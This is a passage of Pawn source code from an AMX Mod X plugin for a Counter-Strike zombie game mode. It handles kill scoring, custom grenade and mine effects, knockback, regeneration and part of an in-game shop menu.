6520 g_kmdValue[Victim] = computeKmdValue(Victim);
6521
6522 updateRank(Victim);
6523 }
6524
6525 else if (killerValid && victimValid && !killerBOT && !victimBOT)
6526 {
6527 get_user_ip(Victim, victimIp, charsmax(victimIp), 1);
6528 get_user_ip(Killer, killerIp, charsmax(killerIp), 1);
6529
6530 g_Deaths[Victim]++;
6531 g_Kills[Killer]++;
6532
6533 if (headShot)
6534 {
6535 g_headShots[Killer]++;
6536
6537 g_Score[Killer] += 10;
6538 }
6539
6540 else
6541 {
6542 g_Score[Killer] += 5;
6543 }
6544
6545 g_Seen[Victim] = timeNow;
6546 g_Seen[Killer] = timeNow;
6547 format_time(g_seenString[Victim], charsmax(g_seenString[]), "%d.%m.%Y @ %H:%M");
6548 format_time(g_seenString[Killer], charsmax(g_seenString[]), "%d.%m.%Y @ %H:%M");
6549 formatex(g_Ip[Victim], charsmax(g_Ip), "%s", victimIp);
6550 formatex(g_Ip[Killer], charsmax(g_Ip), "%s", killerIp);
6551 g_Score[Victim] -= 3;
6552 g_kpdRatio[Victim] = computeKpdRatio(Victim);
6553 g_kpdRatio[Killer] = computeKpdRatio(Killer);
6554 g_kmdValue[Victim] = computeKmdValue(Victim);
6555 g_kmdValue[Killer] = computeKmdValue(Killer);
6556
6557 updateRank(Victim);
6558 updateRank(Killer);
6559 }
6560 new id = read_data(2)
6561 if(is_user_connected(id)) g_bKilling[id] = false
6562}
6563
6564public fw_ThinkGrenade(entity)
6565{
6566 if(!pev_valid(entity)) return HAM_IGNORED
6567
6568 static Float:dmgtime, Float:current_time
6569 pev(entity, pev_dmgtime, dmgtime)
6570 current_time = get_gametime()
6571
6572 if(dmgtime > current_time) return HAM_IGNORED
6573
6574 if(pev(entity, pev_flTimeStepSound) == 5555)
6575 {
6576 Killing_Explode(entity)
6577 return HAM_SUPERCEDE
6578 }
6579
6580 return HAM_IGNORED
6581}
6582
6583public OnGrenadeThink(Entity)
6584{
6585 if ( !pev_valid ( Entity ) ) return HAM_IGNORED;
6586
6587 static Float: DmgTime, Float: CurrentTime;
6588
6589 pev ( Entity, pev_dmgtime, DmgTime );
6590
6591 CurrentTime = get_gametime ( );
6592
6593 if ( DmgTime > CurrentTime ) return HAM_IGNORED;
6594
6595 switch ( pev ( Entity, pev_flTimeStepSound ) )
6596 {
6597 case 1111:
6598 {
6599 InfectionExplode ( Entity )
6600
6601 return HAM_SUPERCEDE;
6602 }
6603 case 2222:
6604 {
6605 FireExplode ( Entity );
6606
6607 return HAM_SUPERCEDE;
6608 }
6609 case 3333:
6610 {
6611 FrostExplode ( Entity );
6612
6613 return HAM_SUPERCEDE;
6614 }
6615 case 4444:
6616 {
6617 HeExplode ( Entity );
6618
6619 return HAM_SUPERCEDE;
6620 }
6621 case 5555:
6622 {
6623 Killing_Explode ( Entity );
6624
6625 return HAM_SUPERCEDE;
6626 }
6627 }
6628
6629 return HAM_IGNORED;
6630}
6631
6632public fwSetModel ( Entity, const Model [] )
6633{
6634 if ( strlen ( Model ) < 8 ) return;
6635
6636 static ClassName [10];
6637
6638 pev ( Entity, pev_classname, ClassName, charsmax ( ClassName ) );
6639
6640 if ( equal ( ClassName, "weaponbox" ) )
6641 {
6642 set_pev ( Entity, pev_nextthink, get_gametime ( ) + 1.0 );
6643
6644 return;
6645 }
6646
6647 if ( Model [7] != 'w' || Model [8] != '_' ) return;
6648
6649 static Float: DmgTime;
6650
6651 pev ( Entity, pev_dmgtime, DmgTime );
6652
6653 if ( DmgTime == 0.0 ) return;
6654
6655 if ( g_bZombie [pev ( Entity, pev_owner )] )
6656 {
6657 if ( Model [9] == 'h' && Model [10] == 'e' )
6658 {
6659 fm_set_rendering ( Entity, kRenderFxGlowShell, 0, 250, 0, kRenderNormal, 16 );
6660
6661 message_begin ( MSG_BROADCAST, SVC_TEMPENTITY );
6662 write_byte ( 22 ) ;
6663 write_short ( Entity );
6664 write_short ( TrailSpr );
6665 write_byte ( 10 );
6666 write_byte ( 10 );
6667 write_byte ( 0 );
6668 write_byte ( 250 );
6669 write_byte ( 0 );
6670 write_byte ( 200 );
6671 message_end ( );
6672
6673 set_pev ( Entity, pev_flTimeStepSound, 1111 );
6674 }
6675 }
6676 else if ( Model [9] == 'h' && Model [10] == 'e' )
6677 {
6678 fm_set_rendering ( Entity, kRenderFxGlowShell, 200, 0, 0, kRenderNormal, 16 );
6679
6680 message_begin ( MSG_BROADCAST, SVC_TEMPENTITY );
6681 write_byte ( 22 );
6682 write_short ( Entity );
6683 write_short ( TrailSpr );
6684 write_byte ( 10 );
6685 write_byte ( 10 );
6686 write_byte ( 200 );
6687 write_byte ( 0 );
6688 write_byte ( 0 );
6689 write_byte ( 200 );
6690 message_end ( );
6691
6692 set_pev ( Entity, pev_flTimeStepSound, 2222 );
6693 }
6694 else if ( Model [9] == 'f' && Model [10] == 'l' )
6695 {
6696 fm_set_rendering ( Entity, kRenderFxGlowShell, 0, 100, 200, kRenderNormal, 16 );
6697
6698 message_begin ( MSG_BROADCAST, SVC_TEMPENTITY );
6699 write_byte ( 22 );
6700 write_short ( Entity );
6701 write_short ( TrailSpr );
6702 write_byte ( 10 );
6703 write_byte ( 10 );
6704 write_byte ( 0 );
6705 write_byte ( 100 );
6706 write_byte ( 200 );
6707 write_byte ( 200 );
6708 message_end ( );
6709
6710 set_pev ( Entity, pev_flTimeStepSound, 3333 );
6711 }
6712 else if ( Model[9] == 's' && Model[10] == 'm' )
6713 {
6714 fm_set_rendering ( Entity, kRenderFxGlowShell, 250, 100, 0, kRenderNormal, 16 );
6715
6716 message_begin ( MSG_BROADCAST, SVC_TEMPENTITY );
6717 write_byte ( 22 );
6718 write_short ( Entity );
6719 write_short ( TrailSpr);
6720 write_byte ( 10 );
6721 write_byte ( 10 );
6722 write_byte ( 250 );
6723 write_byte ( 40 );
6724 write_byte ( 0 );
6725 write_byte ( 200 );
6726 message_end ( );
6727
6728 set_pev ( Entity, pev_flTimeStepSound, 4444 );
6729 }
6730}
6731
6732public fw_SetModel(entity, const model[])
6733{
6734 if(!pev_valid(entity)) return FMRES_IGNORED
6735
6736 static Float:dmgtime
6737 pev(entity, pev_dmgtime, dmgtime)
6738
6739 if(dmgtime == 0.0) return FMRES_IGNORED
6740
6741 static owner; owner = pev(entity, pev_owner)
6742 if(g_bKilling[owner] && model[9] == 'h' && model[10] == 'e')
6743 {
6744 fm_set_rendering ( entity, kRenderFxGlowShell, 127, 0, 255, kRenderNormal, 16 );
6745
6746 message_begin ( MSG_BROADCAST, SVC_TEMPENTITY );
6747 write_byte ( 22 );
6748 write_short ( entity );
6749 write_short ( TrailSpr );
6750 write_byte ( 10 );
6751 write_byte ( 10 );
6752 write_byte ( 127 );
6753 write_byte ( 0 );
6754 write_byte ( 255 );
6755 write_byte ( 200 );
6756 message_end ( );
6757
6758 set_pev(entity, pev_flTimeStepSound, 5555)
6759 g_bKilling[owner] = false
6760
6761 return FMRES_SUPERCEDE
6762 }
6763
6764 return FMRES_IGNORED
6765}
6766
6767InfectionExplode ( Entity )
6768{
6769 if ( g_bRoundEnd ) return;
6770
6771 static Float: Origin [3];
6772
6773 pev ( Entity, pev_origin, Origin );
6774
6775 CreateBlastInfection ( Origin );
6776
6777 EmitSound ( Entity, CHAN_AUTO, "ZombieOutstanding/grenade_infection_explode.wav" );
6778
6779 static Attacker;
6780
6781 Attacker = pev ( Entity, pev_owner );
6782
6783 static Victim;
6784
6785 Victim = -1
6786
6787 while ( ( Victim = engfunc ( EngFunc_FindEntityInSphere, Victim, Origin, 240.0 ) ) != 0 )
6788 {
6789 if ( !is_user_valid_alive ( Victim ) || g_bZombie [Victim] || g_bNoDamage [Victim] ) continue;
6790
6791 if ( GetHumans ( ) == 1 )
6792 {
6793 ExecuteHamB ( Ham_Killed, Victim, Attacker, 0 );
6794
6795 continue;
6796 }
6797
6798 EmitSound ( Victim, CHAN_AUTO, g_cHumanNadeInfectSounds[random_num(0, 2)]);
6799
6800 MakeZombie(Attacker, Victim, false, false, false);
6801
6802 }
6803 engfunc ( EngFunc_RemoveEntity, Entity );
6804}
6805
6806FireExplode ( Entity )
6807{
6808 static Float: Origin [3];
6809
6810 pev ( Entity, pev_origin, Origin );
6811
6812 CreateBlastFire ( Origin );
6813
6814 EmitSound ( Entity, CHAN_WEAPON, "ZombieOutstanding/grenade_fire_explode.wav" );
6815
6816 static Victim;
6817
6818 Victim = -1;
6819
6820 while ( ( Victim = engfunc ( EngFunc_FindEntityInSphere, Victim, Origin, 240.0 ) ) != 0 )
6821 {
6822 if ( !is_user_valid_alive ( Victim ) || !g_bZombie [Victim] || g_bNoDamage [Victim] ) continue;
6823
6824 if ( g_iPlayerType[Victim] & 1 || g_iPlayerType[Victim] & 2 )
6825
6826 g_iBurningDuration [Victim] += 4;
6827 else
6828 g_iBurningDuration [Victim] += 4 * 5;
6829
6830 if (!task_exists(Victim + 200, 0))
6831 {
6832 set_task(0.20, "TaskBurn", Victim + 200, "", 0, "b", 0);
6833 }
6834 }
6835 engfunc ( EngFunc_RemoveEntity, Entity );
6836}
6837
6838FrostExplode ( Entity )
6839{
6840 static Float: Origin [3];
6841
6842 pev ( Entity, pev_origin, Origin )
6843
6844 CreateBlastFrost ( Origin )
6845
6846 EmitSound ( Entity, CHAN_WEAPON, "ZombieOutstanding/grenade_frost_explode.wav" );
6847
6848 static Victim;
6849
6850 Victim = -1;
6851
6852 while ( ( Victim = engfunc ( EngFunc_FindEntityInSphere, Victim, Origin, 240.0 ) ) != 0 )
6853 {
6854 if ( !is_user_valid_alive ( Victim ) || !g_bZombie [Victim] || g_bFrozen [Victim] || g_bNoDamage [Victim] ) continue;
6855
6856 if ( g_iPlayerType[Victim] & 1 || g_iPlayerType[Victim] & 2)
6857 {
6858 static Origin_2 [3]; get_user_origin ( Victim, Origin_2 );
6859
6860 EmitSound (Victim, CHAN_AUTO, "ZombieOutstanding/grenade_frost_freeze.wav" );
6861
6862 message_begin ( MSG_PVS, SVC_TEMPENTITY, Origin_2 );
6863 write_byte ( TE_BREAKMODEL );
6864 write_coord ( Origin_2 [0] );
6865 write_coord ( Origin_2 [1] );
6866 write_coord ( Origin_2 [2] + 24 );
6867 write_coord ( 16 );
6868 write_coord ( 16 );
6869 write_coord ( 16 );
6870 write_coord ( random_num (-50, 50) );
6871 write_coord ( random_num (-50, 50) );
6872 write_coord ( 25 );
6873 write_byte ( 10 );
6874 write_short ( GlassSpr );
6875 write_byte ( 10 );
6876 write_byte ( 25 );
6877 write_byte ( 0x01 );
6878 message_end ( );
6879
6880 continue;
6881 }
6882
6883 fm_set_rendering ( Victim, kRenderFxGlowShell, 0, 100, 200, kRenderNormal, 25 );
6884
6885 EmitSound ( Victim, CHAN_AUTO, "ZombieOutstanding/grenade_frost_freeze.wav");
6886
6887 ExecuteHamB(Ham_Item_PreFrame, Victim);
6888
6889 message_begin ( MSG_ONE, get_user_msgid ( "ScreenFade" ), _, Victim );
6890 write_short ( 0 );
6891 write_short ( 0 );
6892 write_short ( 0x0004 );
6893 write_byte ( 0 );
6894 write_byte ( 100 );
6895 write_byte ( 200 );
6896 write_byte ( 100 );
6897 message_end ( );
6898
6899 if ( pev ( Victim, pev_flags ) & FL_ONGROUND )
6900
6901 set_pev ( Victim, pev_gravity, 999999.9 );
6902 else
6903 set_pev ( Victim, pev_gravity, 0.000001 );
6904
6905 g_bFrozen [Victim] = true;
6906
6907 set_task ( 3.0, "RemoveFreeze", Victim );
6908 }
6909
6910 engfunc ( EngFunc_RemoveEntity, Entity );
6911}
6912
6913public RemoveFreeze ( id )
6914{
6915 if ( !g_bAlive [id] || !g_bFrozen [id] ) return;
6916
6917 g_bFrozen [id] = false;
6918
6919 if ( g_bZombie [id] )
6920 {
6921 if ( g_iPlayerType[id] & 1 )
6922
6923 set_pev ( id, pev_gravity, 0.5);
6924
6925 else if ( g_iPlayerType[id] & 2 )
6926
6927 set_pev ( id, pev_gravity, 0.4);
6928
6929 else
6930
6931 set_pev ( id, pev_gravity, g_fZombieKnockbacks [g_iZombieClass[id]] );
6932 }
6933 else
6934 {
6935 if ( g_iPlayerType[id] & 4 )
6936
6937 set_pev ( id, pev_gravity, 1.0);
6938
6939 else if ( g_iPlayerType[id] & 8 )
6940
6941 set_pev ( id, pev_gravity, 1.0);
6942
6943 else
6944
6945 set_pev ( id, pev_gravity, 1.0);
6946 }
6947
6948 if ( g_bZombie [id] )
6949 {
6950 if ( g_iPlayerType[id] & 1 )
6951
6952 fm_set_rendering ( id, kRenderFxGlowShell, 255, 0, 0, kRenderNormal, 25 );
6953
6954 else if ( g_iPlayerType[id] & 2 )
6955
6956 fm_set_rendering ( id, kRenderFxGlowShell, 0, 0, 0, kRenderNormal, 25 );
6957
6958 else
6959 fm_set_rendering ( id );
6960 }
6961 else
6962 {
6963 if ( g_iPlayerType[id] & 4 || g_iPlayerType[id] & 8 )
6964
6965 fm_set_rendering ( id, kRenderFxGlowShell, 0, 0, 0, kRenderNormal, 25 );
6966
6967 else
6968
6969 fm_set_rendering ( id );
6970 }
6971
6972 message_begin ( MSG_ONE, get_user_msgid ( "ScreenFade" ), _, id );
6973 write_short ( 1<<12 );
6974 write_short ( 0 );
6975 write_short ( 0x0000 );
6976 write_byte ( 0 );
6977 write_byte ( 50 );
6978 write_byte ( 200 );
6979 write_byte ( 100 );
6980 message_end ( );
6981
6982 EmitSound ( id, CHAN_AUTO, "ZombieOutstanding/grenade_frost_break.wav" );
6983
6984 static Origin [3]; get_user_origin ( id, Origin )
6985
6986 message_begin ( MSG_PVS, SVC_TEMPENTITY, Origin );
6987 write_byte ( TE_BREAKMODEL );
6988 write_coord ( Origin [0] );
6989 write_coord ( Origin [1] );
6990 write_coord ( Origin [2]+24 );
6991 write_coord ( 16 );
6992 write_coord ( 16 );
6993 write_coord ( 16 );
6994 write_coord ( random_num (-50, 50) );
6995 write_coord ( random_num (-50, 50) );
6996 write_coord ( 25 );
6997 write_byte ( 10 );
6998 write_short ( GlassSpr );
6999 write_byte ( 10 );
7000 write_byte ( 25 );
7001 write_byte ( 0x01 );
7002 message_end ( );
7003}
7004
7005public HeExplode ( Entity )
7006{
7007 static Float: Origin [3];
7008
7009 pev ( Entity, pev_origin, Origin );
7010
7011 message_begin ( MSG_BROADCAST, SVC_TEMPENTITY );
7012 write_byte ( 3 );
7013 engfunc ( EngFunc_WriteCoord, Origin [0] );
7014 engfunc ( EngFunc_WriteCoord, Origin [1] );
7015 engfunc ( EngFunc_WriteCoord, Origin [2] );
7016 write_short ( HExplode );
7017 write_byte ( 30 );
7018 write_byte ( 15 );
7019 write_byte ( 0 );
7020 message_end ( );
7021
7022 static Attacker;
7023
7024 Attacker = pev ( Entity, pev_owner );
7025
7026 for ( new Victim = 1; Victim < g_iMaxClients + 1; Victim ++ )
7027 {
7028 if ( !is_user_connected ( Victim ) || !is_user_alive ( Victim ) ) continue;
7029
7030 if ( g_bZombie [Victim] )
7031 {
7032 static Float: fDistance, Float: fDamage;
7033
7034 fDistance = entity_range ( Victim, Entity );
7035
7036 if ( fDistance < 300.0 )
7037 {
7038 fDamage = 667.0 - fDistance;
7039
7040 ScreenFadeEffect ( Victim, 1.0, 250, 0, 0, fDistance < 220 ? 220 : 205 );
7041
7042 ScreenShakeEffect ( Victim, 1.0 );
7043
7044 EmitSound ( Victim, CHAN_AUTO, "fvox/flatline.wav" );
7045
7046 if ( float ( get_user_health ( Victim ) ) - fDamage > 0.0 )
7047
7048 ExecuteHamB ( Ham_TakeDamage, Victim, Entity, Attacker, fDamage, DMG_BLAST );
7049
7050 else
7051
7052 ExecuteHamB ( Ham_Killed, Victim, Attacker, 4 );
7053
7054 if ( g_iPlayerType[Victim] & 1 && g_iPlayerType[Victim] & 2 ) fDamage *= 0.75;
7055
7056 if ( fDamage >= 500 )
7057
7058 g_iPacks [Attacker] += 2;
7059
7060 else
7061
7062 g_iPacks [Attacker] += 1;
7063
7064 client_print_color ( Attacker, print_team_grey, "^4[Zombie OutStanding]^1 Damage to^4 %s^1 ::^4 %0.0f^1 damage", g_cName [Victim], fDamage );
7065 }
7066 }
7067 }
7068
7069 engfunc ( EngFunc_RemoveEntity, Entity );
7070}
7071
7072Killing_Explode(ent)
7073{
7074 if (g_roundend) return
7075
7076 static Float:originF[3]
7077 pev(ent, pev_origin, originF)
7078
7079 CreateBlastKilling ( originF );
7080
7081 EmitSound ( ent, CHAN_AUTO, "ZombieOutstanding/grenade_infection_explode.wav" );
7082
7083 static attacker
7084 attacker = pev(ent, pev_owner)
7085 if (!is_user_connected(attacker))
7086 {
7087 engfunc(EngFunc_RemoveEntity, ent)
7088 return
7089 }
7090
7091 static victim
7092 victim = -1
7093
7094 while((victim = engfunc(EngFunc_FindEntityInSphere, victim, originF, 240.0)) != 0)
7095 {
7096 if(!is_user_alive(victim) || !g_bZombie[victim] || g_iPlayerType[victim] & 1)
7097 continue
7098 ExecuteHamB(Ham_Killed, victim, attacker, 0)
7099 }
7100
7101 engfunc(EngFunc_RemoveEntity, ent)
7102}
7103
7104CreateBlastInfection ( const Float: Origin [3] )
7105{
7106 engfunc ( EngFunc_MessageBegin, MSG_PVS, SVC_TEMPENTITY, Origin, 0 );
7107 write_byte ( 21 );
7108 engfunc ( EngFunc_WriteCoord, Origin [0] );
7109 engfunc ( EngFunc_WriteCoord, Origin [1] );
7110 engfunc ( EngFunc_WriteCoord, Origin [2] );
7111 engfunc ( EngFunc_WriteCoord, Origin [0] );
7112 engfunc ( EngFunc_WriteCoord, Origin [1] );
7113 engfunc ( EngFunc_WriteCoord, Origin [2] + 470.0 );
7114 write_short ( ExploSpr );
7115 write_byte ( 0 );
7116 write_byte ( 0 );
7117 write_byte ( 4 );
7118 write_byte ( 60 );
7119 write_byte ( 0 );
7120 write_byte ( 0 );
7121 write_byte ( 250 );
7122 write_byte ( 0 );
7123 write_byte ( 200 );
7124 write_byte ( 0 );
7125 message_end ( );
7126}
7127
7128CreateBlastKilling ( const Float: Origin [3] )
7129{
7130 engfunc ( EngFunc_MessageBegin, MSG_PVS, SVC_TEMPENTITY, Origin, 0 );
7131 write_byte ( 21 );
7132 engfunc ( EngFunc_WriteCoord, Origin [0] );
7133 engfunc ( EngFunc_WriteCoord, Origin [1] );
7134 engfunc ( EngFunc_WriteCoord, Origin [2] );
7135 engfunc ( EngFunc_WriteCoord, Origin [0] );
7136 engfunc ( EngFunc_WriteCoord, Origin [1] );
7137 engfunc ( EngFunc_WriteCoord, Origin [2] + 470.0 );
7138 write_short ( ExploSpr );
7139 write_byte ( 0 );
7140 write_byte ( 0 );
7141 write_byte ( 4 );
7142 write_byte ( 60 );
7143 write_byte ( 0 );
7144 write_byte ( 127 );
7145 write_byte ( 0 );
7146 write_byte ( 255 );
7147 write_byte ( 200 );
7148 write_byte ( 0 );
7149 message_end ( );
7150}
7151
7152CreateBlastFire ( const Float: Origin [3] )
7153{
7154 engfunc ( EngFunc_MessageBegin, MSG_PVS, SVC_TEMPENTITY, Origin, 0 );
7155 write_byte ( 21 );
7156 engfunc ( EngFunc_WriteCoord, Origin [0] );
7157 engfunc ( EngFunc_WriteCoord, Origin [1] );
7158 engfunc ( EngFunc_WriteCoord, Origin [2] );
7159 engfunc ( EngFunc_WriteCoord, Origin [0] );
7160 engfunc ( EngFunc_WriteCoord, Origin [1] );
7161 engfunc ( EngFunc_WriteCoord, Origin [2] + 470.0 );
7162 write_short ( ExploSpr );
7163 write_byte ( 0 );
7164 write_byte ( 0 );
7165 write_byte ( 4 );
7166 write_byte ( 60 );
7167 write_byte ( 0 );
7168 write_byte ( 250 );
7169 write_byte ( 40 );
7170 write_byte ( 0 );
7171 write_byte ( 200 );
7172 write_byte ( 0 );
7173 message_end ( )
7174}
7175
7176CreateBlastFrost ( const Float: Origin [3] )
7177{
7178 engfunc ( EngFunc_MessageBegin, MSG_PVS, SVC_TEMPENTITY, Origin, 0 );
7179 write_byte ( 21 );
7180 engfunc ( EngFunc_WriteCoord, Origin [0] );
7181 engfunc ( EngFunc_WriteCoord, Origin [1] );
7182 engfunc ( EngFunc_WriteCoord, Origin [2] );
7183 engfunc ( EngFunc_WriteCoord, Origin [0] );
7184 engfunc ( EngFunc_WriteCoord, Origin [1] );
7185 engfunc ( EngFunc_WriteCoord, Origin [2] + 470.0 );
7186 write_short ( ExploSpr );
7187 write_byte ( 0 );
7188 write_byte ( 0 );
7189 write_byte ( 4 );
7190 write_byte ( 60 );
7191 write_byte ( 0 );
7192 write_byte ( 0 );
7193 write_byte ( 100 );
7194 write_byte ( 200 );
7195 write_byte ( 200 );
7196 write_byte ( 0 );
7197 message_end ( );
7198}
7199
7200Func_Explode( iEntity )
7201{
7202 g_iPlantedMines[entity_get_int(iEntity, EV_INT_iuser2)]--;
7203
7204
7205 static Float: flOrigin[ 3 ];
7206 entity_get_vector( iEntity, EV_VEC_origin, flOrigin );
7207
7208 message_begin( MSG_BROADCAST, SVC_TEMPENTITY );
7209 write_byte( TE_EXPLOSION );
7210 engfunc( EngFunc_WriteCoord, flOrigin[ 0 ] );
7211 engfunc( EngFunc_WriteCoord, flOrigin[ 1 ] );
7212 engfunc( EngFunc_WriteCoord, flOrigin[ 2 ] );
7213 write_short( g_hExplode );
7214 write_byte( 55 );
7215 write_byte( 15 );
7216 write_byte( 0 );
7217 message_end( );
7218
7219 message_begin( MSG_BROADCAST, SVC_TEMPENTITY );
7220 write_byte( TE_EXPLOSION );
7221 engfunc( EngFunc_WriteCoord, flOrigin[ 0 ] );
7222 engfunc( EngFunc_WriteCoord, flOrigin[ 1 ] );
7223 engfunc( EngFunc_WriteCoord, flOrigin[ 2 ] );
7224 write_short( g_hExplode );
7225 write_byte( 65 );
7226 write_byte( 15 );
7227 write_byte( 0 );
7228 message_end( );
7229
7230 message_begin( MSG_BROADCAST, SVC_TEMPENTITY );
7231 write_byte( TE_EXPLOSION );
7232 engfunc( EngFunc_WriteCoord, flOrigin[ 0 ] );
7233 engfunc( EngFunc_WriteCoord, flOrigin[ 1 ] );
7234 engfunc( EngFunc_WriteCoord, flOrigin[ 2 ] );
7235 write_short( g_hExplode );
7236 write_byte( 85 );
7237 write_byte( 15 );
7238 write_byte( 0 );
7239 message_end( );
7240
7241 for( new i = 1; i < 33; i++ )
7242 {
7243 if( !is_user_connected( i ) || !is_user_alive( i ) ) continue;
7244 if(g_bZombie[i])
7245 {
7246 static Float: fDistance, Float: fDamage;
7247
7248 fDistance = entity_range(i, iEntity);
7249
7250 if( fDistance < 340 )
7251 {
7252 fDamage = 1900 - fDistance;
7253
7254 if(g_iPlayerType[i] & 1)
7255 fDamage *= 0.75;
7256
7257 static Float: fVelocity[ 3 ];
7258 pev( i, pev_velocity, fVelocity );
7259
7260 xs_vec_mul_scalar( fVelocity, 1.75, fVelocity );
7261
7262 set_pev( i, pev_velocity, fVelocity );
7263
7264 message_begin( MSG_ONE_UNRELIABLE, get_user_msgid( "ScreenFade" ), _, i );
7265 write_short( 4096 );
7266 write_short( 6096 );
7267 write_short( 0x0000 );
7268 write_byte( 220 );
7269 write_byte( 0 );
7270 write_byte( 0 );
7271 write_byte( fDistance < 220 ? 215 : 205 );
7272 message_end( );
7273
7274 message_begin( MSG_ONE_UNRELIABLE, get_user_msgid( "ScreenShake" ), _, i );
7275 write_short( 4096 * 100 );
7276 write_short( 4096 * 500 );
7277 write_short( 4096 * 200 );
7278 message_end( );
7279
7280 if( float( get_user_health( i ) ) - fDamage > 0 )
7281 ExecuteHamB( Ham_TakeDamage, i, iEntity, entity_get_int(iEntity, EV_INT_iuser2), fDamage, DMG_BLAST);
7282
7283 else ExecuteHamB( Ham_Killed, i, entity_get_int(iEntity, EV_INT_iuser2), 2);
7284
7285 static cName[ 32 ]; get_user_name( i, cName, 31 );
7286 client_print_color(entity_get_int(iEntity, EV_INT_iuser2), print_team_default, "^4[Zombie Outstanding]^1 Damage to^3 %s^1 ::^4 %0.0f damage", cName, fDamage );
7287 }
7288 }
7289 }
7290
7291 for( new i = 1; i < 33; i++ )
7292 {
7293 if( !is_user_connected( i ) || !is_user_alive( i ) )
7294 continue;
7295 if(!g_bZombie[i])
7296 {
7297 if( entity_range(i, iEntity) < 340 )
7298 {
7299 static Float: fVelocity[ 3 ];
7300 pev( i, pev_velocity, fVelocity );
7301
7302 xs_vec_mul_scalar( fVelocity, 1.5, fVelocity );
7303
7304 set_pev( i, pev_velocity, fVelocity );
7305
7306 message_begin( MSG_ONE_UNRELIABLE, get_user_msgid( "ScreenShake" ), _, i );
7307 write_short( 4096 * 19 );
7308 write_short( 4096 * 7 );
7309 write_short( 4096 * 24 );
7310 message_end( );
7311 }
7312 }
7313 }
7314
7315 remove_entity( iEntity );
7316}
7317
7318GetLastHuman()
7319{
7320 new i = 1;
7321 while (i <= g_iMaxClients)
7322 {
7323 if (g_bAlive[i] && g_bConnected[i] && !g_bZombie[i])
7324 {
7325 return i;
7326 }
7327 i++;
7328 }
7329 return 0;
7330}
7331
7332GetLastZombie()
7333{
7334 new i = 1;
7335 while (i <= g_iMaxClients)
7336 {
7337 if (g_bAlive[i] && g_bConnected[i] && g_bZombie[i])
7338 {
7339 return i;
7340 }
7341 i++;
7342 }
7343 return 0;
7344}
7345
7346public OnTraceAttack(victim, attacker, Float:damage, Float:direction[3], tracehandle, damage_type)
7347{
7348 if (victim == attacker || !is_user_valid_connected(attacker))
7349 return HAM_IGNORED;
7350
7351 if (g_bRoundStart || g_bRoundEnd )
7352 return HAM_SUPERCEDE;
7353
7354 if (g_bZombie[attacker] == g_bZombie[victim])
7355 return HAM_SUPERCEDE;
7356
7357 if (g_bNoDamage [victim])
7358 return HAM_SUPERCEDE;
7359
7360 if (!g_bZombie[victim] || !(damage_type & DMG_BULLET))
7361 return HAM_IGNORED;
7362
7363 if (g_iPlayerType[victim] & 1 && 0.25 == 0.0)
7364 return HAM_IGNORED;
7365
7366 if (g_iPlayerType[victim] & 2 && 0.25 == 0.0)
7367 return HAM_IGNORED;
7368
7369 static ducking
7370 ducking = pev(victim, pev_flags) & (FL_DUCKING | FL_ONGROUND) == (FL_DUCKING | FL_ONGROUND)
7371
7372 if (ducking && 0.25 == 0.0)
7373 return HAM_IGNORED;
7374
7375 static origin1[3], origin2[3]
7376 get_user_origin(victim, origin1)
7377 get_user_origin(attacker, origin2)
7378
7379 if (get_distance(origin1, origin2) > 500)
7380 return HAM_IGNORED;
7381
7382 static Float:velocity[3]
7383 pev(victim, pev_velocity, velocity)
7384
7385 xs_vec_mul_scalar(direction, damage, direction)
7386
7387 xs_vec_mul_scalar(direction, kb_weapon_power[g_iWeapon[attacker]], direction)
7388
7389 if (ducking)
7390 xs_vec_mul_scalar(direction, 0.25, direction)
7391
7392 if (g_iPlayerType[victim] & 1)
7393 xs_vec_mul_scalar(direction, 0.25, direction)
7394
7395 else if (g_iPlayerType[victim] & 2)
7396 xs_vec_mul_scalar(direction, 0.15, direction)
7397
7398 else
7399 xs_vec_mul_scalar(direction, g_fZombieKnockbacks[g_iZombieClass[victim]], direction)
7400
7401 xs_vec_add(velocity, direction, direction)
7402
7403 direction[2] = velocity[2]
7404
7405 set_pev(victim, pev_velocity, direction)
7406
7407 return HAM_IGNORED;
7408}
7409
7410public TaskLight()
7411{
7412 static i;
7413 i = 1;
7414 while (g_iMaxClients + 1 > i)
7415 {
7416 if (g_bAlive[i] && g_bZombie[i] && !g_iPlayerType[i] && g_iZombieClass[i] == 4 && get_user_health(i) < 6000)
7417 {
7418 set_user_health(i, get_user_health(i) + 350);
7419 static origin[3]
7420 get_user_origin(i, origin)
7421 message_begin(MSG_PVS, SVC_TEMPENTITY, origin)
7422 write_byte(TE_PARTICLEBURST)
7423 write_coord(origin[0])
7424 write_coord(origin[1])
7425 write_coord(origin[2])
7426 write_short(50)
7427 write_byte(70)
7428 write_byte(3)
7429 message_end()
7430 set_hudmessage(255, 0, 175, -1.00, 0.10, 1, 0.00, 1.75, 1.00, 1.00, -1);
7431 ShowSyncHudMsg(i, g_iRegenerationSync, "== REGENERATOR ==^n!!!Regeneration: +350 HP Gained!!!");
7432 }
7433 i += 1;
7434 }
7435 return 0;
7436}
7437
7438public TaskPrintPassword(iPlayer)
7439{
7440 if (g_bConnected[iPlayer])
7441 {
7442 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 Type a password for your account!")
7443 }
7444 return 0;
7445}
7446
7447public _ShopMenu(iPlayer, iMenu, iItem)
7448{
7449 if (iItem != -3 && g_bConnected[iPlayer] && !g_bFake[iPlayer])
7450 {
7451 static iChoice;
7452 static iDummy;
7453 static cBuffer[3];
7454 menu_item_getinfo(iMenu,iItem, iDummy, cBuffer, charsmax ( cBuffer ), _, _, iDummy );
7455 iChoice = str_to_num(cBuffer);
7456 switch (iChoice)
7457 {
7458 case 0:
7459 {
7460 if (g_iShopItemsPrices[iChoice] > g_iPoints[iPlayer])
7461 {
7462 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough points!")
7463 }
7464 else
7465 {
7466 if (g_iShopItemsTeams[iChoice] == 2 && g_bZombie[iPlayer])
7467 {
7468 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!")
7469 }
7470 g_bDoubleDamage[iPlayer] = true;
7471 set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
7472 ShowSyncHudMsg(0, g_iShopEventHudmessage, "%s bought Double Damage!", g_cName[iPlayer]);
7473 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 bought^4 Double Damage",
7474 g_cName[iPlayer]);
7475 g_iPoints[iPlayer] -= g_iShopItemsPrices[iChoice];
7476 savePoints(iPlayer)
7477 }
7478 }
7479 case 1:
7480 {
